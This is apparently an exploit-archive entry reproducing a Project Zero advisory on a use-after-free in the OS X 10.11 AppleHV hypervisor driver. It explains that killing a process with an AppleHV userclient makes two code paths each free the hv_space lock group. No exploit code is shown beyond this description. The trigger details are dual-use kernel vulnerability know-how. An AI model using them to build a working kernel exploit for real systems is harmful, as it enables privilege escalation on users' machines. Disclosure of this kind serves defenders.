OS X Kernel UaF in hypervisor driver. The hv_space lock group gets an extra ref dropped (uaf) when killing a process with an AppleHV userclien

Code
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=580

The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.

tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
